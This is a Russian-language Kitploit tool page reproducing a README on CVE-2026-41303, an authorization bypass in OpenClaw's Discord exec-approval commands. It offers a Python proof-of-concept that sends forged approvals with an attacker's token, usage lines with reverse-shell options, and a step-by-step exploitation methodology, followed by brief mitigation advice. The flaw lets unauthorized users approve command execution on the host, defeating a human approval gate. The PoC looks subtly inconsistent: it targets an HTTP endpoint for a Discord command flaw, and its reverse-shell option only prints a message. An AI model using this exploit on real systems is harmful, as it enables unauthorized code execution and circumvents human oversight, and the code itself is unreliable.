Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-41303 — Техническая документация и proof-of-concept для CVE-2026-41303, обход авторизации в Discord-боте OpenClaw, включая методологию эксплуатации, шаги по смягчению последствий и рекомендации по защите. | Kitploit
Инструменты/GitHubGitHub/kaleth4/cve-2026-41303
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеПодобранные Ресурсы
GitHubkaleth4/cve-2026-41303

CVE-2026-41303

Техническая документация и proof-of-concept для CVE-2026-41303, обход авторизации в Discord-боте OpenClaw, включая методологию эксплуатации, шаги по смягчению последствий и рекомендации по защите.

Репозиторий
125 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

🔐 CVE-2026-41303: Обход авторизации в Discord-боте OpenClaw

CVSS Badge
Status
Affected
Platform

Полная техническая документация об уязвимости обхода авторизации в OpenClaw


📋 Содержание

  • Общее описание
  • Технические детали
  • Влияние на безопасность
  • Proof of Concept
  • Методология эксплуатации
  • Смягчение и решение
  • Рекомендации по защите
  • Ссылки
  • Правовое уведомление

📝 Общее описание

Этот репозиторий содержит техническую информацию, анализ и рекомендации по уязвимости CVE-2026-41303, которая позволяет обойти авторизацию в командах одобрения выполнения в проекте OpenClaw.

Была выявлена критическая ошибка в версиях OpenClaw ранее 2026.3.28. Проблема заключается в командах одобрения текста в Discord, где пользователи, которые не входят в список авторизованных утверждающих (channels.discord.execApprovals.approvers), могут одобрять ожидающие запросы на выполнение команд на хосте.


🔍 Технические детали

ПараметрЗначение
ID CVECVE-2026-41303
Затронутый продуктOpenClaw
Тип уязвимостиОбход авторизации (CWE-863)
Вектор атакиТекстовые команды в Discord
ПлатформаLinux / Discord
Оценка CVSS8.8 (Высокая)
Затронутые версии< 2026.3.28
СтатусИсправлено в v2026.3.28+

🎯 Техническое описание

Уязвимость заключается в отсутствии проверки авторизации в обработчике команды /approve бота OpenClaw. Система не проверяет должным образом, входит ли пользователь, выполняющий команду, в список авторизованных утверждающих перед обработкой запроса.


⚠️ Влияние на безопасность

Злоумышленник с доступом к каналу Discord, где управляются одобрения, может:

  • ✗ Перехватывать ожидающие запросы на выполнение кода
  • ✗ Одобрять произвольные выполнения на хосте, не являясь легитимным утверждающим
  • ✗ Добиться выполнения несанкционированного кода в инфраструктуре, где работает OpenClaw
  • ✗ Скомпрометировать целостность и доступность системы

Сценарий атаки

Неавторизованный пользователь
        ↓
Доступ к каналу Discord
        ↓
Определяет ID ожидающего одобрения
        ↓
Выполняет команду /approve
        ↓
Бот одобряет без проверки прав
        ↓
Удалённое выполнение кода (RCE)

💻 Proof of Concept

Требования для выполнения

  • ✓ Токен пользователя Discord с доступом к каналу, где работает OpenClaw
  • ✓ ID канала Discord (channel-id)
  • ✓ ID ожидающего одобрения (approval-id)
  • ✓ Python 3.8+
  • ✓ Библиотеки: requests, json, argparse

Профессиональный скрипт PoC

import argparse
import requests
import json
import time

def main():
    # Настройка профессиональных аргументов для аудита
    parser = argparse.ArgumentParser(
        description="CVE-2026-41303 - Обход одобрения в OpenClaw",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Примеры использования:
  python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789
  python3 exploit.py http://target.com --token TOKEN --channel-id 123456 --approval-id ABC789 --decision allow-always
        """
    )
    
    parser.add_argument("target", help="URL экземпляра или контекста бота")
    parser.add_argument("--token", required=True, help="Токен Discord атакующего/аудитора")
    parser.add_argument("--channel-id", required=True, help="ID канала Discord")
    parser.add_argument("--approval-id", required=True, help="ID одобрения для обхода")
    parser.add_argument("--decision", default="allow-once", 
                       choices=["allow-once", "allow-always"],
                       help="Тип решения об одобрении (по умолчанию: allow-once)")
    
    # Дополнительные параметры для пост-эксплуатации
    parser.add_argument("--lhost", help="IP для reverse shell, если одобрение активирует RCE")
    parser.add_argument("--lport", help="Порт прослушивания")
    parser.add_argument("--verbose", "-v", action="store_true", help="Подробный режим")

    args = parser.parse_args()

    # Логика эксплуатации
    print(f"[*] Запуск обхода для одобрения: {args.approval_id}")
    print(f"[*] Целевой канал: {args.channel_id}")
    print(f"[*] Решение: {args.decision}")
    
    if args.verbose:
        print(f"[DEBUG] Токен: {args.token[:20]}...")
        print(f"[DEBUG] Цель: {args.target}")
    
    # Формирование некорректного запроса
    headers = {
        "Authorization": f"Bearer {args.token}",
        "Content-Type": "application/json"
    }
    
    payload = {
        "approval_id": args.approval_id,
        "decision": args.decision,
        "channel_id": args.channel_id
    }
    
    try:
        # Отправка команды /approve без проверки прав
        response = requests.post(
            f"{args.target}/api/approve",
            headers=headers,
            json=payload,
            timeout=10
        )
        
        if response.status_code == 200:
            print(f"[+] Обход успешен! Одобрение выполнено.")
            print(f"[+] Ответ: {response.json()}")
            
            if args.lhost and args.lport:
                print(f"[*] Reverse shell настроен на {args.lhost}:{args.lport}")
        else:
            print(f"[-] Ошибка: {response.status_code} - {response.text}")
            
    except Exception as e:
        print(f"[-] Исключение: {str(e)}")

if __name__ == "__main__":
    main()

Использование скрипта

# Базовое использование
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123

# Подробный режим
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 -v

# С reverse shell
python3 exploit.py http://target.com --token YOUR_TOKEN --channel-id 123456789 --approval-id ABC123 --lhost 192.168.1.100 --lport 4444

🎯 Методология эксплуатации

Фаза 1: Идентификация

1. Получить доступ к каналу Discord, где взаимодействует OpenClaw
2. Отслеживать сообщения бота для определения ID ожидающих одобрений
3. Захватить точный формат запросов на одобрение
4. Задокументировать структуру команд /approve

Фаза 2: Инъекция

1. Выполнить скрипт PoC с захваченными ID
2. Отправить решение (allow-once или allow-always) вместе с параметрами
3. Бот обрабатывает команду без проверки прав пользователя
4. Одобрение успешно выполняется

Фаза 3: Связывание (Опционально)

Если одобрение текста в Discord активирует автоматические функции на сервере:
  ↓
Развёртывание кода
  ↓
Удалённое выполнение кода (RCE)
  ↓
Полная компрометация системы

🛠️ Смягчение и решение

✅ Рекомендуемые немедленные действия

1. Обновить OpenClaw

# Обновление до версии 2026.3.28 или выше
pip install --upgrade openclaw>=2026.3.28

# Или из официального репозитория
git clone https://github.com/openclaw/openclaw.git
cd openclaw
git checkout v2026.3.28
pip install -e .

2. Проверить конфигурацию

# Проверить channels.discord.execApprovals.approvers
# Файл: config.yaml

channels:
  discord:
    execApprovals:
      approvers:
        - "user_id_1"
        - "user_id_2"
        - "user_id_3"
      # ⚠️ Убедиться, что в этом списке ТОЛЬКО доверенные пользователи

3. Аудит журналов

# Просмотр последних записей выполнения
tail -f /var/log/openclaw/execution.log

# Поиск подозрительных одобрений
grep "APPROVAL" /var/log/openclaw/execution.log | grep -v "AUTHORIZED_USER"
Скачать инструмент